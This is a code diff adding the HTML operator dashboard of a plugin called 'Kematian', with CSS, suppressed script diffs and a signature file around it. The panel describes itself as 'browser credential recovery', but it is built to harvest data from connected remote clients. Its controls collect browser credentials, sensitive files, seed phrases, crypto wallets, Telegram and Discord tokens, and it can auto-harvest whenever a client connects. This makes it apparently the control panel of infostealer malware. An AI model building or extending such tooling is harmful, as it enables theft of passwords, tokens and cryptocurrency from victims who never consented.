background: linear-gradient(180deg, #6366f1, #4338ca);
border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover { background: #818cf8; }
+163
View File
@@ -0,0 +1,163 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Kematian</title>
<link rel="stylesheet" href="/vendor/inter/400.css" />
<link rel="stylesheet" href="/vendor/inter/600.css" />
<link rel="stylesheet" href="/vendor/inter/700.css" />
<link rel="stylesheet" href="/plugins/kematian/assets/kematian.css" />
</head>
<body>
<main class="container">
<header class="header">
<h1>Kematian</h1>
<p class="sub" id="sub-title">Browser credential recovery</p>
</header>
<!-- Per-client controls -->
<section class="card" id="client-card">
<div class="row">
<label class="label">Client ID</label>
<input id="client-id" class="input" readonly />
</div>
<div class="status-row">
<span id="status-dot" class="dot dot-off"></span>
<span id="status-text">Not connected</span>
</div>
<div class="actions">
<button id="collect-btn" class="btn btn-green">Collect</button>
<button id="scan-files-btn" class="btn">Scan Files</button>
<button id="scan-ext-btn" class="btn">Scan Extensions</button>
<button id="scan-wallets-btn" class="btn">Scan Wallets</button>
<button id="scan-tg-btn" class="btn">Scan Telegram</button>
<button id="scan-keys-btn" class="btn">Scan Keys</button>
<button id="scan-apps-btn" class="btn">Scan Apps</button>
<button id="ping-btn" class="btn">Ping</button>
<button id="export-btn" class="btn" disabled>Export JSON</button>
</div>
</section>
<!-- Global controls (hidden until global mode) -->
<section class="card" id="global-card" style="display:none">
<div id="global-stats" class="global-stats"></div>
<div class="actions">
<button id="refresh-btn" class="btn">Refresh</button>
<button id="export-all-btn" class="btn" disabled>Export All JSON</button>
<button id="clear-all-btn" class="btn btn-danger">Clear All</button>
</div>
</section>
<!-- Multi-client summary dashboard -->
<section class="card" id="summary-card" style="display:none">
<div class="summary-header">
<h2>Summary</h2>
<div class="summary-totals" id="summary-totals"></div>
</div>
<div id="summary-grid" class="summary-grid"></div>
</section>
<!-- Settings (global mode, admin only) -->
<section class="card" id="settings-card" style="display:none">
<h2>Settings</h2>
<div id="settings-admin-msg" class="settings-notice" style="display:none">
Only server admins can modify auto-harvest settings.
</div>
<div class="settings-grid" id="settings-grid">
<div class="setting-row">
<div class="setting-info">
<span class="setting-name">Auto-harvest on connect</span>
<span class="setting-desc">Automatically collect browser data when a new client connects</span>
</div>
<label class="toggle-label">
<input type="checkbox" id="auto-harvest-toggle" />
<span class="toggle-track"><span class="toggle-thumb"></span></span>
</label>
</div>
<div class="setting-row setting-sub" id="ah-files-row">
<div class="setting-info">
<span class="setting-name">Include file scan</span>
<span class="setting-desc">Scan for sensitive files (documents, keys, seed phrases)</span>
</div>
<label class="toggle-label">
<input type="checkbox" id="auto-files-toggle" disabled />
<span class="toggle-track"><span class="toggle-thumb"></span></span>
</label>
</div>
<div class="setting-row setting-sub" id="ah-ext-row">
<div class="setting-info">
<span class="setting-name">Include extension scan</span>
<span class="setting-desc">Scan for installed browser extensions</span>
</div>
<label class="toggle-label">
<input type="checkbox" id="auto-ext-toggle" disabled />
<span class="toggle-track"><span class="toggle-thumb"></span></span>
</label>
</div>
</div>
<span id="settings-status" class="settings-status"></span>
</section>
<!-- Harvested clients overview (hidden until global mode) -->
<section class="card" id="clients-card" style="display:none">
<h2>Harvested Clients</h2>
<div id="clients-list" class="clients-list"></div>
</section>
<!-- Data table (shared between modes) -->
<section class="card" id="data-card" style="display:none">
<div class="data-top">
<div id="tabs" class="tabs"></div>
<div class="data-controls">
<input id="search" class="input search-input" placeholder="Search all data…" />
<div id="bfilts" class="bfilts"></div>
</div>
<div id="cfilts" class="cfilts" style="display:none"></div>
</div>
<div id="discord-view" style="display:none">
<div class="dp-toolbar">
<button id="enrich-all-btn" class="btn">Lookup All Tokens</button>
<span id="enrich-status" class="dp-enrich-status"></span>
</div>
<div id="dp-grid" class="dp-grid"></div>
</div>
<div id="wallet-view" style="display:none">
<div class="dp-toolbar">
<button id="check-balances-btn" class="btn">Check All Balances</button>
<span id="balance-status" class="dp-enrich-status"></span>
</div>
<div id="wl-grid" class="wl-grid"></div>
</div>
<div id="search-all-view" style="display:none">
<div id="search-all-grid" class="search-all-grid"></div>
<div id="search-all-empty" class="no-rows" style="display:none">No results found.</div>
</div>
<div class="table-wrap">
<table class="data-table">
<thead id="data-thead"></thead>
<tbody id="data-tbody"></tbody>
</table>
<div id="no-rows" class="no-rows" style="display:none">No entries match the current filter.</div>
</div>
<div class="table-foot">
<div id="pagination-bar" class="pagination-bar" style="display:none">
<button id="page-prev" class="btn" disabled>&larr; Prev</button>
<span id="page-info"></span>
<button id="page-next" class="btn">Next &rarr;</button>
</div>
<span id="row-count">0 entries</span>
<label class="reveal-label">
<input type="checkbox" id="reveal-toggle" /> Show sensitive
</label>
</div>
</section>
<section class="card">
<h2>Log</h2>
<pre id="log" class="log"></pre>
</section>
</main>
<script src="/plugins/kematian/assets/kematian.js"></script>
</body>
</html>
+2120
View File
File diff suppressed because it is too large Load Diff
+27261
View File
File diff suppressed because one or more lines are too long
+5
View File
@@ -0,0 +1,5 @@
{
"algorithm": "ed25519",
"publicKey": "IqAQbR5RB+YOhFg3HILNtqqULAU0Z4YAbSEZXDNvDv4=",
"signature": "mU0o8zirTVXTnNMEc1uK0ixHkzI52cFpPDPvJ1xMcZJ9DBOZVhS2ZeNb7mhgAaGkuHr4soChxPM4wUvcWm02Bw=="
}